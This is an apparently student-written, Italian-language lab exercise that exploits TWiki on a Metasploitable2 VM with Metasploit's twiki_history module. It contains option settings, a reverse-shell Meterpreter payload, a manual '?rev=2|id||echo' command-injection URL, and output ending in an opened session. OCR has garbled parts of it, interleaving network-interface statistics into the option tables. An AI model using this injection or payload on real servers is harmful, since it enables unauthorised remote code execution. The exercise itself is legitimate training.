

# ESERCIZIO M4 D7

- Exploit TWiki (Metasploitable2)

# Set opzioni Exploit

```
File Azioni Modifica Visualizza Aiuto
Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/webapp/moinmoin_twikidraw 2012-12-30 manual Yes MoinMoin twikidraw Action Traversal File Upload
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes TWiki Debugenableplugins Remote Code Execution
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Parameter Command Execution
3 exploit/unix/webapp/twiki_makertext 2012-12-15 excellent Yes TWiki MAKETEXT Remote Command Execution
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes TWiki Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

Name Current Setting Required Description
--
Proxies shell2.php no A proxy chain of format type:host:port[,type:host:port][... ]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /twiki/bin yes TWiki bin directory path
VHOST no HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

Name Current Setting Required Description
--
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > 
```

```
msf6 exploit(unix/webapp/twiki_history) > set lhost 192.168.1.25
```

```
lhost => 192.168.1.25  bytes: 13476 (13.1 KiB)
```

```
msf6 exploit(unix/webapp/twiki_history) > show options
```

```
TX packets: 86  bytes: 7143 (6.9 KiB)
```

```
Module options (exploit/unix/webapp/twiki_history): collisions: 0
```

```
Id Name Current Setting Required Description
```

Id	Name	Current Setting	Required	Description
0	proxies	0	no	A proxy chain of format type:host:port[,type:host:port][ ... ]
1	RHOSTS	192.168.1.40	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
2	RPORT	80	yes	The target port (TCP)
3	SSL	false	no	Negotiate SSL/TLS for outgoing connections
4	URI	/twiki/bin	yes	Twiki bin directory path
5	VHOST		no	HTTP server virtual host

```
Payload options (cmd/unix/reverse):
```

Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
0	Automatic

```
View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/webapp/twiki_history) > █
```

# Exploit

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/webapp/twiki_history) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf6 exploit(unix/webapp/twiki_history) > show options
Module options (exploit/unix/webapp/twiki_history):
  Name  RX  Current Setting  Required  Description
  ---  --  ---
Proxies  packets 80 bytes no  A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS  192.168.1.40 yes  The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT    80 yes  The target port (TCP)
SSL      false no  Negotiate SSL/TLS for outgoing connections
URI      /twiki/bin yes  Twiki bin directory path
VHOST    net:0:0:0:0:0:0:0:0 no  HTTP server virtual host
  loop:txqueuelen 1000 (Local Loopback)
  RX packets 4 Bytes 340 (340.0 B)

Payload options (cmd/unix/reverse):
  Name  Current Setting  Required  Description
  ---  ---
LHOST  192.168.1.25 yes  The listen address (an interface may be specified)
LPORT  4444 yes  The listen port
```

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/webapp/twiki_history) > exploit
```

```
[*] Started reverse TCP double handler on 192.168.1.25:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) >
```



Kali 23.1 [In esecuzione] - Oracle VM VirtualBox


File Macchina Visualizza Inserimento Dispositivi Aiuto

1 2 3 4

15:23

192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|id||echo%20

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

 [TWiki](#) > [Main](#) > **TWikiUsers** (r1.2 |id||echo )

[Main](#) . { [Users](#) | [Groups](#) | [Offices](#) | [Changes](#) | [Index](#) | [Search](#) | Go  }

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Topic **TWikiUsers** . { [Edit](#) | [Attach](#) | [Ref-By](#) | [Printable](#) | [Diffs](#) | [r1.16](#) | [>](#) | [r1.15](#) | [>](#) | [r1.14](#) | [More](#) }

Revision r1.2 |id||echo - 01 Jan 1970 - 00:00 GMT -

Copyright © 1999-2003 by the contributing authors. All material on this collaboration platform is the property of the contributing authors. Ideas, requests, problems regarding TWiki? [Send](#) feedback.

```
File Azioni Modifica Visualizza Aiuto
Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS 192.168.1.40 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /twiki/bin yes Twiki bin directory path
VHOST no HTTP server virtual host

Main . { Users | Groups | Offices | Changes | Index | Search | Go [ ] }

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

Name Current Setting Required Description
-----
LHOST 192.168.1.25 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > check

[*] Attempting to delete /twiki/bin/mEP52jjYaD5K ...
[+] 192.168.1.40:80 - The target is vulnerable.
msf6 exploit(unix/webapp/twiki_history) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] Sending stage (24772 bytes) to 192.168.1.40
[-] Failed to load extension: The core_loadlib request failed with result: 2323644418.
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.40:49070) at 2023-06-06 15:20:15 +0200
```